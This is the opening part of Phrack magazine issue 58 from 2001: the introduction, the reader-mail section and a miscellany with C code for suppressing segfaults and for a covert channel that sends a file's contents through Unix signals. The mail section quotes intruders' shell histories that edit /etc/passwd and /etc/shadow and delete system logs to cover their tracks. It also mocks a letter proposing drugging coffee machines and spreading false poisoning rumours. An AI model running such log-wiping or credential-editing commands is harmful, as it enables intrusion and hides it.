💾 Archived View for gemini.spam.works › mirrors › textfiles › magazines › PHRACK › PHRACK58 captured on 2022-06-12 at 13:59:01.
View Raw
More Information
-=-=-=-=-=-=-
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x01 of 0x0e
, ,
, |\ ,__ __, /| ,
|\ \/ `. .' \/ /|
\ `-.:. `\ /' .:.-' /
`-.__ `\=====| |=====/'__.-'
/=`'/ ^_\ //==// // // //==// //|| //= // /_^ \'`=\
.' /\ .=) //==// //==// //==// //=|| // //=// (=. /\ '.
.-' .'| '-(/_| // // // // || // || \\= // || |_\)-' |'. '_.
.' __( \ .'` `'. / )__ '.
/_.'` `. |` `| .' `'._\
jgs \ | | /
|/ \|
+++ *Weep Weep Weep* Skybird, this is Dropkick with a red dash alpha message
+++ in two parts. -Break, break. Red dash alpha.
+++ Romeo-Oscar-November-Charlie-Tango-Tango-Lima-Alpha
+++ Authentication two-two-zero-zero-four-zero-delta-lime.
I have a valid message. Stand by
to authenticate. I agree with authentication also, sir.
Entering launch code: DLG-2209-TVX
Launch code confirmed.
Holy shit!
All right lets do it. Enable missiles. Target selection............. complete.
Time on target selection..... complete.
Yield selection.............. complete.
I need to get someone at the phone. Number one enabled, two, three, four,
SAC. Try SAW HQ on the HF. five, ..ten. All missiles enabled.
That's not the correct procedure.
Screw the procedure. I want somebody
on the goddamn phone before I kill
20 million SIR. We have a launch order. Put your
hand on the key, sir!
I'm sorry. I'm so sorry. SIR! We are at launch - TURN
YOUR KEY, sir!
(c) Wargames
|=[ Table of Contents ]=-------------------------------------------------=|
0x01 Introduction Phrack Staff 0x08 kb
0x02 Loopback Phrack Staff 0x0b kb
0x03 Signalnoise Phrack Staff 0x18 kb
0x04 Advanced return-into-lib(c) exploits (PaX case study) nergal 0x48 kb
0x05 Runtime binary encryption grugq & scut 0x61 kb
0x06 Advances in kernel hacking palmers 0x1d kb
0x07 Linux on-the-fly kernel patching without LKM sd & devik 0x95 kb
0x08 Linux x86 kernel function hooking emulation mayhem 0x1a kb
0x09 RPC without borders stealth 0x10 kb
0x0a Developing StrongARM/Linux shellcode funkysh 0x11 kb
0x0b HP-UX (PA-RISC 1.1) Overflows zhodiac 0x16 kb
0x0c The Security of Vita Vuova's Inferno OS dalai 0x11 kb
0x0d Phrack World News Phrack Staff 0x0c kb
0x0e Phrack magazine extraction utility Phrack Staff 0x15 kb
|=-----------------------------------------------------------------------=|
This phrack issue, as well as the last two, comes without a prophile.
This situation will not change unless we find someone who is worth a
prophile.
The latest and all previous phrack issues are available online at
http://www.phrack.org. Readers without web access can subscribe to the
phrack-distrib mailinglist. Every new phrack is sent as email attachment
to this list - shouts to the monkeys at nasa.gov who complained about
their network situation (email only) but did not want to miss the latest
phrack. A new phrack issue (without the attachment) is announced on
the announcement mailinglist.
To subscribe to the announcement mailinglist:
$ mail announcement-subscribe@lists.phrack.org < /dev/null
To subscribe to the distribution mailinglist:
$ mail distrib-subscribe@lists.phrack.org < /dev/null
To retrieve older issues (must subscribe first):
$ mail distrib-index@lists.phrack.org < /dev/null
$ mail distrib-get.<n>@lists.phrack.org < /dev/null
where n indicated the phrack issue [1..58].
Enjoy the magazine!
Phrack Magazine Volume 10 Number 58, December 27, 2001. ISSN 1068-1035
Contents Copyright (c) 2001 Phrack Magazine. All Rights Reserved.
Nothing may be reproduced in whole or in part without written permission
from the editors.
Phrack Magazine is made available to the public, as often as possible, free
of charge.
|=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=|
Editors : phrackstaff@phrack.org
Submissions : phrackstaff@phrack.org
Commentary : loopback@phrack.org
Phrack World News : disorder@phrack.org
We have some agressive /dev/null-style mail filter running. We do reply
to every serious email. If you did not get a reply, then your mail was
probably not worth an answer or was caught by our mailfilter. Make sure
your mail has a non-implicit destination, one recipient, a non-empty
subject field, and does not contain any html code and is 100% 7bit clean
pure ascii.
|=-----------------------------------------------------------------------=|
Submissions may be encrypted with the following PGP key:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.5 (GNU/Linux)
Comment: For info see http://www.gnupg.org
mQGiBDr0dzURBAC0nXC8TlrGLzTrXBcOq0NP7V3TKp/HUXghV1uhsJLzgXL1N2ad
XF7yKFoP0RyvC3O4SVhSjFtaJZgwczkkRwgpabOddk77fnCENPvl2n0pWmyZuSQa
fTEn+P8gmKEeyWXo3EDURgV5OM6m/zVvsQGxkP3/jjGES6eaELXRqqNM9wCgrzkS
c0a4bJ03ETjcQa8qp3XIuLsD/04nseebHrqgLHZ/1s1gF6wdRFYGlOYY1tvkcIU4
BRqgJZQu1DIauTEZiLBug+SdRyhJlYPhXWLXr3r7cq3TdxTD1DmM97V8CigA1H5Y
g7UB0L5ZygL2ezRxMNxyBxPNDRj3VY3niMg/DafqFs4PXSeL/N4/xU45UBeyk7La
QK2dA/4/FKBpUjXGB83s0omQ9sPHYquTiS51wze3SLpJs0jLnaIUmJ1ayBZqr0xT
0LPQp72swGcDb5xvaNzNl2rPRKQZyrsDDX8xZdXSw1SrS6xogt83RWS6gbMQ7/Hr
4AF917ElafjEp4wwd/rekD84RPumRmz4I02FN0xR5VV6K1rbILQkcGhyYWNrc3Rh
ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iF0EExECAB0FAjr0dzUFCThkCQAF
CwcKAwQDFQMCAxYCAQIXgAAKCRDT4MJPPu7c4etbAJ9P/6NeGwx/nyBBTVpMweCQ
6kFNkQCgnBLX1cmZ7DSg814YjZBFdLczcFS5Ag0EOvR3URAIAOumUGdn+NCs+Ue1
d1RDCNHg6I8GEeH5DElGWC8jSMor2DOgah31VEcoPgVmtEdL8ZD/tl97vxcEhntA
ttlELWVJV854kWxRMeCFbBS+fjcQpHCig5WjFzuOrdwBHlNZK2xWCpbV770eSPb/
+z9nosdP8WzmVnJ0JVoIc99JJf3d6YfJuscebB7xn6vJ3hZWM9kqMSyXaG1K3708
gSfhTr1n9Hs7nDfKMMQ73Svbe6J3kZJNdX0cqZJLHfeiiUrtf0ZCVG52AxfLaWfm
uPoIpZaJFzexJL/TL9gsRRvVdILd3SmVKtt2koaHNmUgFRVttol3bF8VTiGWb2uX
S6WjbwcAAwUH/R9Fsk1Vf04qnzZ21DTsjwlA76cOje0Tme1VIYfwE33f3SkFo89+
jYPFCMNObvSs/JVrstzzZr/c36a4rwi93Mxn7Tg5iT2QEBdDomLb3plpbF3r3OF3
HcuXYuzNUubiA5J2nf3Rf0DdUVwWmOx8gnqF/QUrKRO+fzomT/jVaAYkVovMBE9o
csA6t6/vF+SQ5dxPq+6lTJzFY5aK90p1TGHA+2K18yCkcivPEo7b/qu+n9vCOYHM
WM+cp49bcUMExRkL934O1KUhHxbL96yBRWRzrJaC7ybGjC9hFAQ/wuXzaHOXEHd4
PqrTZI/rvnRcVJ1CXVt9UfsLXUROaEAtAOOITAQYEQIADAUCOvR3UQUJOGQJAAAK
CRDT4MJPPu7c4eksAJ9w/y+n6CHeqeUgKCYZ+EKvNWC30gCfYblC4sGwllhPufgT
gPaxlvAXKrM=
=p9fB
-----END PGP PUBLIC KEY BLOCK-----
phrack:~# head -20 /usr/include/std-disclaimer.h
/*
* All information in Phrack Magazine is, to the best of the ability of
* the editors and contributors, truthful and accurate. When possible,
* all facts are checked, all code is compiled. However, we are not
* omniscient (hell, we don't even get paid). It is entirely possible
* something contained within this publication is incorrect in some way.
* If this is the case, please drop us some email so that we can correct
* it in a future issue.
*
*
* Also, keep in mind that Phrack Magazine accepts no responsibility for
* the entirely stupid (or illegal) things people may do with the
* information contained herein. Phrack is a compendium of knowledge,
* wisdom, wit, and sass. We neither advocate, condone nor participate
* in any sort of illicit behavior. But we will sit back and watch.
*
*
* Lastly, it bears mentioning that the opinions that may be expressed in
* the articles of Phrack Magazine are intellectual property of their
* authors.
* These opinions do not necessarily represent those of the Phrack Staff.
*/
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x02 of 0x0e
|=------------------------=[ L O O P B A C K ]=--------------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ phrackstaff ]=----------------------------=|
Our mailboxes were flooded by replies....99% of them should have gone to
/dev/null - 1% of these 99% are published below. Let's start with some logs
of hack attempts we experienced on our own server and from logs sent to us
by other readers (sorted in descending order, most stupid hacker first...).
- PHRACK58/#phrack will not be released until the 29th, sorry everyone!
<#phrack:zknown_> are you serious?
<#phrack:PHRACK58> You'll have to wait for me to retype everything from
the hardcopy edition.
<#phrack:PHRACK58> someone, release phrack now...
<#phrack:tknown> who releases phrack
<#phrack:PHRACK58> we'd like to gather a crowd to witness that historic
event.
-:- PHRACK58 was kicked off #phrack by rknown (please work out your issues)
[ From time to time people pretend or try to impersonate 'phrack'
and spread false informations :> Phrack will be released on schedule..]
|=[ 0x00 ]=--------------------------------------------------------------=|
<timelog, some phrackstaff host>
[08:34] - Just another scan from a.b.c.d (nothing unusual, our host is the
first choice and a 'must-scan' for every script kiddie).
[08:38] - next scan...again from ip a.b.c.d, same port range (doh!).
[08:41] - AGAIN!...(same src ip, same port range, ...man nmap ?).
[09:07] - "last message repeated 5 times"
[09:08] - boredom took over and someone decided to take a closer look at
the host and the kid who needs some training lessons in nmap...
staff@phrack.org $ telnet a.b.c.d 1524
Connected to a.b.c.d.
Escape character is '^]'.
Backdoor Server
FUCK OFF!!
By : krunch
Backdoor Authorized Code: you_are_an_idiot
Screw you dude !!!
#
|=[ 0x01 ]=--------------------------------------------------------------=|
[ found on some .edu host - shared by students and teachers ]
haxor #1 (/root/.bash_history):
find /users/teach -name test
find /users/teach -name exam
exit
haxor #2 (/.sh_history, already root...)
pico /etc/passwd
whereis pico
vi /etc/passwd
cat /etc/passwd
vi /etc/passwd
passwd dre
whereis adduser
vi /etc/shadow
su dre
exit
haxor #3
cd exams
ls
pwd
cd /var/adm
ls
rm -Rf lastlog messages utmp utmpx wtmp wtmpx
exit
haxor #4
telnet localhost 60606
cd /var/adm
ls
rm messages utmp utmpx wtmp wtmpx lastlog -Rf
y
exit
haxor #6:
id
cd /var/log
ls
grep <evil haxor ip> *
cd ..
ls
find /var | grep <evil haxor ip>
cd adm
ls
rm messages wtmp -Rf
exit
haxor #7:
./in.telnetd
mv in.telonetd sh
?./sh example.conf
mv in.telnetd sh
./sh example.conf
exit
|=[ 0x02 ]=--------------------------------------------------------------=|
[ ..while grep'ing through the filtered mails from phrackstaff@phrack.org
we found someone flirting with our mailman-mailinglist-manager... ]
From: Per1805@aol.com
Subject: Re: Your message to phrackstaff awaits moderator approval
thank u very much
[ np ]
|=[ 0x03 ]=--------------------------------------------------------------=|
From: blitz <blitz@macronet.net>
Good to read a fresh Phrack. I go back quite a way (he says as he scratches
his grey beard) with you guyz. Best of luck to the new staph...er staff,
keep on kickin ass.
[ ...fresher than an androids ass, spicier than uncle joey's
pizza, hotter than a smoking FBI gun...GO GET PHRACK58 !%$!#$^... ]
|=[ 0x04 ]=--------------------------------------------------------------=|
From: Poisonoak55@aol.com
Date: Sat, 1 Dec 2001 17:36:57 EST
Subject: ????????????
To: webmaster@phrack.org
What is this all about?
[ It's about sex drugs and rock'n'roll, pure violence and brutal
rapings. It's about building bombs, penetrating military protected
buildings and taking over the world. The same thing we do every
night pinkey. ]
|=[ 0x05 ]=--------------------------------------------------------------=|
[ comments by an anonymous user on the webpage: ]
Umm..the loopback 0x16 and 0x0f are the same...
[ ...and the Jedi Knight _again_ replied with a strong tongue:
"They are not!" ...and _again_ swang his hand from the left to
the right with a slight hope to bluff the audience a second time... ]
|=[ 0x06 ]=--------------------------------------------------------------=|
From: "Vergoz Michael" <descript@subk.org>
a test image for phrack for futur and current paper
[ yeah! Mr. super kewlio you are. And by the way: the name of the
magazine is 'PHRACK' not 'PHREAK' - fix the grfx |@$#@#$^%!$%... ]
|=[ 0x07 ]=--------------------------------------------------------------=|
From: Delta-Master <Falinra@yahoo.com>
Subject: [phrackstaff] Any old school?
Just curious if this is run by newbies, or if there are any old-school
people who might remember Delta-Master.
[ ...some are new, others contributed to earlier phrack issues
and the rest leeched their first phrack over a 1200baud line... ]
Any contact info for Bill from RNOC or any other LOD/H people still around?
What ever happened to Craig&Randy? Makes me want to have a giant
"Where are they now" list.
D-M
|=[ 0x08 ]=--------------------------------------------------------------=|
From: jennifer hansen <littlemisspatriot@yahoo.com>
To: jericho@attrition.org, dover@dis.org, emmanuel@2600.com,
cmeinel@techbroker.com, veggie@cultdeadcow.com, loopback@phrack.org,
jefe@reject.org
I got your email addresses from "The Notorious B.O.O.G.".
[ Yeah babe, he is a very close friend of all of us! ]
I've been stuck in the past few days with
what an effective strategic & tactical position the
hacker community inhabits in war time.
[ Woah. Here we go. Uncle Sam unlock your weapon, target your enemy
and wait for further instructions. Side by side
littlemisspartrior@yahoo.com we will fight for the right until a
silver bullet hits the eye and lets us die. ]
The following is an email that I sent to "The
Notorious B.O.O.G." and that he posted (with his
response) on www.guerrillanews.org on 9.19.2001.
[ Y0. I've got some 30,000 warriors gathering at Norad. Let's unite
your Mao Tse Tung guerilla's with my troops and prepare a full blown
first strike nuclear offense against..whatever...who cares. BOOM BOOM. ]
I am engaged in independant research of terrorist
organizations. I would love to discuss these ideas
further with you if you have interest.
[ RIGHT ON! y0 mrs.LittleMissPatriot, we already have all this stuff
about building bombs and blowing away things in phrack1..7. I can
forward you some never published articles about how to build
nuclear warheads and biochemical warfare! ]
|=[ 0x09 ]=--------------------------------------------------------------=|
From: Phosgene <phosgene@setec.org>
United Future Underground
By Iconoclast
This is the long distance call,
Telephoning one and all,
Hackers and Phreakers Unite!
Organize and join the fight!
To those who play with phones,
And those who record the tones,
To those who hack the code,
And those who change the mode,
To those who scan the waves,
And those who encrypt their saves,
To those who build with chips,
And those who program MIPS.
Each passing day brings new laws
Perceived crimes without a cause,
Your freedoms and liberties
Are outlawed this day you see,
Fear, uncertainty and doubt
Feed Big Brother's deadly route.
Will they demand your crypto key?
Stand up and save your liberty!
Will they take your frequencies?
Or sell them at the highest fee?
Will they impose a modem tax,
And crank it up high to the max?
Will they tap your telephone line?
Since the FBI thinks its fine!
Illegal information?
Surveillance of a nation!
Censorship of silent truth?
We have the encrypted proof!
Its long past time we undertook
Steps to prove we're not evil crooks.
Educate the public today
On the path of the true hacker way.
[ ... ]
|=[ 0x0a ]=---------------------------------------------------------------=|
From: "Shai Hulud"
is there a way I can get an issue of phrack sent to me, I'll mail for
shipping or whatever, just give me an address or something for me to send
the money.
Thanks for your time
[ You think you can miss HAL? think you can miss the release party?
think you can kiss a little bit of the phrackstaff's shiny metal ass
and beg for a hardcover? NO FUCKING WAY! ]
p.s.
i like photo sex
[ !%$@#% TAKE OFF YOUR HANDS FROM THE HARDCOVER! DONT EVEN THINK
ABOUT TOUCHING IT WITH YOUR DIRTY FINGERS !%@#$% ]
|=[ 0x0b ]=---------------------------------------------------------------=|
From: Junk-B.-FF@ifrance.com
You may think I'm just a pseudo anarchist, a "fight club" fan, but
it's true : one day or the other, we'll all end up as slaves of larges
corporations.
[ NO! You are serious, and only serious people make it into Loopback. ]
You are all making effort to avoid this. thank You.
[ Our secret mission is to form phrack & Co. to control the slavery. ]
We need to go further, and this is the point of this mail :
we need to transpose hacking to the offline world:
[ NO BRAIN. NO DICK. NO CARRIER. ]
we need to get falsified medical prescription and put Valium in coffee
machines. We need to spread false rumours harming corporations, like there
is arsenic in procter & gamble soap, things like that, u see?
[ http://www.phrack.org/howto - we do not publish information which
is already known to the public. ]
we need to glue the locks of offices, police stations, luxuous cars, maybe
even schools!
[ maybe your ass ? or maybe you should stop sniffing glue ? ]
nothing is static, everything is falling apart.
Thanks. (and sorry...I think I've wrote crap, but you got the idea....)
Junk
|=[ 0x0c ]=---------------------------------------------------------------=|
From: Kubas Mail <kuba9999@yahoo.com>
[ ...nonsense here...]
jakob
=====
unsolicted mail is against federal law.
[ You've just been charged by Phrack Inc. with 100$ for unsolicted mail. ]
|=[ 0x0d ]=---------------------------------------------------------------=|
From: "Bandler, James" <James.Bandler@wsj.com>
greetings, i'm a reporter with the wall street journal looking for a primer
on cable tv signal scrambling.
[ greetings, i'm the editor in chief of the phrack street journal. ]
I'm trying to find a Carl Corey, or perhaps, other experts on the subject.
[ WHAAAAAAAAAT? I'm not directory assistance. How long have you been at
WSJ? You should know it's a big 'no no' to ask stupid questions for
answers that can be found at http://www.yellowpages.com. ].
James Bandler
Phone: 617-654-6864
[ dont call us, we'll call you. ]
|=[ 0x0e ]=---------------------------------------------------------------=|
im so happy that you have the website up again i love the nostalgia
[ we're so happy we were able to do it ]
and plus phrack 57 is quite new
[ are you going to say previous volumes weren't?! ]
|=[ 0x0f ]=---------------------------------------------------------------=|
sorry for soo lamer question ....
i am very newbie ....
i am interested in phreaking ....
and i heard on irc , you have new magazine ...
[ Yeah! we have *new* magazine ]
but i read something ...
and i dont understand anything ....
[ i bet you don't feel so good with this
i can remember how i felt when i didn't understand
what i read on some chinese box ]
where can i start ??
[ you can start everywhere ]
... i dont wanna old things (red boxing is no more usefull in my country :)
[ WHAT?! it is not?! DAMN! ]
.. can you help me ??
[ i will try my the best ]
maybee some links ??
[ www.google.com ]
and please ... dont give my mail in some loopback :)
[ OK.. hmmm Wait! Why not??? ]
see ya, peter
|=[ 0x10 ]=---------------------------------------------------------------=|
From: Socrates <socrates@lorettotel.net>
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
This message is to all members of the Legion Of Doom (professional):
[ phrack != LOD (we already had this topic during operation sundevil
11 years ago) ]
I would like to know how i can become a member of the LOD.Please post
[ Try to fill out the red application form, take an envelope and send it
to the LOD HQ. If you are a lucky guy someone will reply to you.
Otherwise, someone will come and punch your head against the wall for
being the most stupid human on planet phrack^H^H^H^H^H^Hworld. ]
the information,so i can become a member.I'm a professional Hacker and
my expertise is also in making homemade Fireworks and
Explosives,revenge,mayhem,ect..
Dr.Frankenstein
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x03 of 0x0e
|=----------------------=[ S I G N A L N O I S E ]=----------------------=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ phrackstaff ]=---------------------------=|
_ _
/ "crrr...Everything that does not fit somewhere else...crr" \
|-+ - - - "can be found here. Corrections and additions" - - - +-|
|\_ "to previous articles, to short articles or articles that" _/|
| "just dont make it....everything...crr..<NO CARRIER>" |
_=====_ _=====_
0x00: SIGOOPS
0x01: No SIGSEGV anymore
0x02: covered IPC via TCP over signal()
0x03: SIGnalINTelligence warrant of apprehension on gobbles
|=[ 0x00 ]=--------------------------------------------------------------=|
p57-02/loopback: 0x16 and 0x0f are the same. Oops.
We forgot to mention the email of brett (variablek@home.com) who wrote
the cisco addendum in p57-03/linenoise.
|=[ 0x01 ]=--------------------------------------------------------------=|
Subject: Getting rid of SIGSEGV - for fun but not for profit.
UNIX signals provide a mechanism for notiying processes of system
events, communication [see below :P] and syncronization between
processes and exception handling. Most readers are familiar with
the term 'software generated signals' (generated by the kernel or userland
application) and 'cpu exceptions'.
The most famous and by far the most hated signal under UNIX is
SIGSEGV. The signal is usually generated by the kernel when
'something realy bad happened' or something 'your hardware is really
not amused about'. The hardware 'is not amused' about illegal memory
references and notifies the kernel (cpu exception) which in turn notifies
the offending process with a signal. The default action is to terminate
the running process and to dump core.
What would happen if the process could recover from such a SIGSEGV and
continue execution? After a SIGSEGV the process is in an undefined state
and basicly everything could happen. In many cases the result is by far less
extrem as we would expect. We may experience missing grafics in netscape, no
background image in Eterm or missing frames in a .avi movie.
A programm may use signal(SIGSEGV, SIG_IGN); to ignore a SIGSEGV sent
by another process. A cpu exception generated by the hardware will still
cause the process to terminate (default action). A process may choose to
override the default action and specify a signal handler - a user-defined
function which is invoked whenever a SIGSEGV is delivered to the process.
We will concentrade on SIGSEGV caused by a cpu exception only - recovering
from all other cases is trivial.
Let's first take a look at the kernel and follow the path of the SIGSEGV
until it gets delivered to the application. After our little excurse I
will show some source which, compiled as a shared object, can be
preloaded (LD_PRELOAD) to any programm. The preloaded .so will recover
(at its best) from a SIGSEGV and continue execution.
When the system boots, the function arch/i386/kernel/traps.c:trap_init()
is called which sets up the Interrupt Descriptor Table (IDT) so that
vector 0x14 (of type 15, dpl 0) points to the address of the page_fault entry
from arch/i386/kernel/entry.S. The entry invoked do_page_fault() in
arch/i386/mm/fault.c whenever the specific exception occures. This function
handles all kind of page faults and calls 'force_sig_info()' if the
exception was caused by user mode access to invalid memory. This function
forces signal delivery to the userland applicationg by unblocking the signal
and by setting SIG_IGN to SIG_DFL (if no handler has been assigned).
To cut a long story short the kernel drops into send_sig_info() which
calls deliver_signal() which calls send_signal() which calls
sigaddset() which finaly set the bit in the process signalbitmask.
It is important to note that any action, including process termination,
can only be taken by the receiving process itself. This requires, at the
very least, that the process be scheduled to run. In between signal
generation and signal delivery, the signal is said to be pending to the
process.
When a process is scheduled to run the kernel checks for pending
signals at the following times:
- Immediatly after waking up from an interruptible event.
- Before returning to user mode from a system call or interrupt.
- Before blocking on an interruptible event.
The kernel calls arch/i386/kernel/signal.c:do_signal() and fetches the
first pending signal from the queue (kernel/signal.c:dequeue_signal()).
Nothing spectacular happens and the kernel processes with the next pending
signal from the queue if action is set to SIG_DFL or SIG_IGN. The kernel
calls handle_signal() if a user-defined action has been assigned to the
signal handler (ka->sa.sa_handler).
If the signal event occured during a system call with restarting capability
the eip of the process is substracted by the value of 2 to automaticly
reinvoke the system call after the signal handler returned. The kernel calls
setup_frame() to save the current register set and other values (see
'struct sigframe' in arch/i386/kernel/signal.c) on the stack of the process.
The same function also sets up a 'stub' which is executed after the signal
handler returned to restore the previous saved 'sigframe'.
struct sigframe
{
char *pretcode; /* 4 bytes */
int sig; /* 4 bytes */
struct sigcontext sc; /* 88 bytes, see sigcontext.h */
struct _fpstate fpstate; /* 624 bytes, floating point regs */
unsigned long extramask[1]; /* 4 bytes */
char retcode[8]; /* 8 bytes */
};
struct sigcontext expands to:
struct sigcontext
{
... /* ...56 bytes */
unsigned long eip; /* Aha! */
... /* ...88 bytes */
};
The old eip is saved 64 bytes after the beginning of struct sigframe,
followed by the return address of the signal handler and the saved frame
pointer. The return address will points to the 'stub' which will pass
control back to the kernel to restore the registers once the signal handler
returns.
0xbfffffff | ... |
+------------------------+
| sigframe, old eip |
| is saved 56 bytes | <---+
| from behind retaddr | |
+------------------------+ 68 bytes distance to
| retaddr of stub | saved eip from ebp.
+------------------------+ |
ebp-> | saved frame pointer | <---+
+------------------------+
| local variables of |
| signal handler routine |
+------------------------+
The easiest way to recover from a SIGSEGV thus is to assign our
own signal handler, travel up the stack until we find the saved
eip, set the eip to the instruction followed the instruction which caused
the segfault and return from our handler.
The library also ignores SIGILL just for the case in which the process
starts to run amok and the IP hits space where no IP has gone
before.
/*
* someone@segfault.net
*
* This is published non-proprietary source code of someone without a
* name...someone who dont need to be named....
*
* You do not want to use this on productivity systems - really not.
*
* This preload-library recovers from a SIGSEGV - for fun purposes only!
*
* $ gcc -Wall -O2 -fPIC -DDEBUG -c assfault.c
* $ ld -Bshareable -o assfault.so assfault.o -ldl
# $ LD_PRELOAD=./assfault.so netscape &
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <dlfcn.h>
#define REPLACE(a, x, y) if ( !(o_##x = dlsym(##a , ##y)) )\
{ fprintf(stderr, ##y"() not found in libc!\n");\
exit(-1); }
#ifdef DEBUG
# define DEBUGF(a...) do{fprintf(stderr, "%s[%d]", __FILE__, __LINE__); \
fprintf(stderr, ##a);}while(0)
#else
# define DEBUGF(a...)
#endif
#define err_exit(str) do{fprintf(stderr, "ERROR:%s\n", str);exit(-1);}while(0);
static void *(*o_signal)(int, void(*)(int));
static void *libc_handle = NULL;
static int sigcount;
void
assfault_handler(int sig)
{
DEBUGF("SIG%s occured (%d)\n"
, (sig==SIGSEGV)?"SEGV":(sig==SIGILL)?"ILL":"BUS", ++sigcount);
asm volatile("incl 0x44(%ebp)");
}
void
(*signal(int sn, void (*sighandler)(int)))()
{
if ((sn == SIGSEGV) || (sn == SIGILL) || (sn == SIGBUS))
{
DEBUGF("signal(SIG%s, ...) intercepted [%d]\n"
, (sn==SIGSEGV)?"SEGV":(sn==SIGILL)?"ILL":"BUS", getpid());
return assfault_handler;
}
/* in all other cases call the original libc signal() -function */
return o_signal(sn, sighandler);
}
static void
assfault_init(void)
{
if ( (libc_handle = dlopen("libc.so", RTLD_NOW)) == NULL)
if ( (libc_handle = dlopen("libc.so.6", RTLD_NOW)) == NULL)
err_exit("error loading libc!");
/* get the address of the original signal() -function in libc */
REPLACE(libc_handle, signal, "signal");
/* redirect action for these signals to our functions */
o_signal(SIGSEGV, assfault_handler);
o_signal(SIGILL, assfault_handler);
o_signal(SIGBUS, assfault_handler);
dlclose(libc_handle);
}
/*
* called by dynamic loader.
*/
void
_init(void)
{
if (libc_handle != NULL)
return; /* should never happen */
assfault_init();
DEBUGF("assfault.so activated.\n");
}
/*** EOF assfault.c ***/
/*
* example programm that segfault's a lot.
* $ gcc -Wall -o segfault segfault.c
* $ LD_PRELOAD=./assfault.so ./segfault
*/
#include <stdio.h>
int
main()
{
char *ptr=NULL;
fprintf(stderr, "|0| everything looks fine. lets produce a SIGSEGV\n");
*ptr=1;
fprintf(stderr, "|1| after first provocated SIGSEGV\n");
*ptr=1;
fprintf(stderr, "|2| after second provocated SIGSEGV\n");
fprintf(stderr, "|X| We survived - enough played today.\n");
return 0;
}
/*** EOF segfault.c ***/
|=[ 0x02 ]=--------------------------------------------------------------=|
Subject: TCP over signal()
Bored subjects do naughty things, so why not transferring data
with signals. With signals, not along with. Good old morsing
hits us again. Theoretical speaking its a covert channel. A method for
transferring data which is not recognized as transfer to the outside
world.
Things are simple, if sender sees a bit is 1 it sends 'HIGH'
and 'LOW' if it finds the bit being 0.
I let it to you to figure out how the simple programs work. :-)
<recv.c>
#include <stdio.h>
#include <sys/types.h>
#include <signal.h>
#define L SIGHUP
#define H SIGUSR1
#define RESET SIGUSR2
int bit;
unsigned char c;
void recv_high_low(int x)
{
if (bit == 8) {
bit = 0;
putchar(c);
fflush(stdout);
c = 0;
}
if (x == H)
c = ((c<<1)|1);
else
c <<= 1;
++bit;
}
void recv_reset(int x)
{
bit = 0;
c = 0;
}
int main()
{
bit = 0;
c = 0;
signal(L, recv_high_low);
signal(H, recv_high_low);
signal(RESET, recv_reset);
for (;;);
return 0;
}
</recv.c>
<send.c>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <stdlib.h>
#define L SIGHUP
#define H SIGUSR1
#define RESET SIGUSR2
void die(char *s)
{
perror(s);
exit(errno);
}
int main(int argc, char **argv)
{
int pid, fd, j;
char *file, c;
if (argc < 3) {
fprintf(stderr, "Usage: %s <pid> <file>\n", argv[0]);
exit(1);
}
pid = atoi(argv[1]);
file = argv[2];
if ((fd = open(file, O_RDONLY)) < 0)
die("open");
kill(pid, RESET);
sleep(1);
while (read(fd, &c, sizeof(c)) > 0) {
/* and for every bit of this byte do */
for (j = 7; j >= 0; --j) {
if ((1<<j) & c) {
printf("1");fflush(stdout);
if (kill(pid, H) < 0)
die("kill"); /* send HIGH (1) */
} else {
printf("0");fflush(stdout);
if (kill(pid, L) < 0) /* send LOW (0) */
die("kill");
}
usleep(200);
}
}
close(fd);
return 0;
}
</send.c>
|=[ 0x03 ]=--------------------------------------------------------------=|
- SIGINT CONFIDENTIAL REPORT ON GOBBLES *
On 2001/12/20 various individual around the world succeeded in
unrevealing valuable information about the suspect. The information
gathered about the suspect seems to be authentic - action should be taken
immediatly by local law enforcements.
WANTED - GOBBLES - WANTED - GOBBLES - WANTED - GOBBLES - WANTED
Do you have other handles beside 'Gobbles' ?
GOBBLES is known as many things, but GOBBLES can not let the rest of the
world know he other identities in relation to name of GOBBLES due to fear
of social rejection from he peers. GOBBLES wish at some point that people
could stop asking, "GOBBLES who else are you known as" to him when all he
really ask for is a little privacy, cannot people learn to keep their
hands to what is their own?
What kind of species is 'Gobbles' and what is the sex ?
GOBBLES himself is homosapian (which mean human for all you penetrators)
obviously but like the name GOBBLES came from Yahoo.com picture turkey.jpg
found one day which made GOBBLES think to self, "Hey this a funny looking
picture and make me think of security community that full of evil turkies,
hehe 'other identity' should now become known as GOBBLES to be security
turkey too!". Gobbles Security is not limited to one person, or one gender.
How can Gobbles Security be reached (email? sms? irl? irc?)
GOBBLES Security can be reached at group email addrses on hushmail.com
which is GOBBLES@hushmail.com, if anyone ever need to contact us about
anything that be the place to do it from. As far as where one can find
GOBBLES irl (that mean "in real life" for penetrators), GOBBLES originally
from Lithuania but now live in a place with a little more stable economy.
Some GOBBLES Security members do live in same country and then they
frequent GOBBLES Labs location to do hardcore hacking and programming all
day long.
When and where have you been born ?
GOBBLES himself was born during year of 1979 in country of Lithuania, but
not born as GOBBLES, hehe (that not real name ;), but real name shouldn't
be of real concern anywhere though, so that do not matter. GOBBLES was
born into computer security industry scene as GOBBLES during the month of
June in the year of 2001 and currently have plans of being immortal in
this field and living forever.
Is there any picture available of Gobbles Security on the internet ?
GOBBLES Security is more concerned with finding all exploitable bugs and
letting the world know about them than they are with worrying about taking
time to update webpage and get it pretty looking, although making webpage
pretty and finish is becoming a higher GOBBLES priority due to demands of
our many fans who email saying, "Please friend GOBBLES, finish webpage!"
Where does Gobbles Security live (current location) ?
To respect privacy of GOBBLES Security and members GOBBLES does not want
to give out physical location of GOBBLES Labs or the IP addresses (that IP
mean internet protocol, for penetrators needing translation). Website of
GOBBLES where information is fully disclosed is on bugtraq.org though.
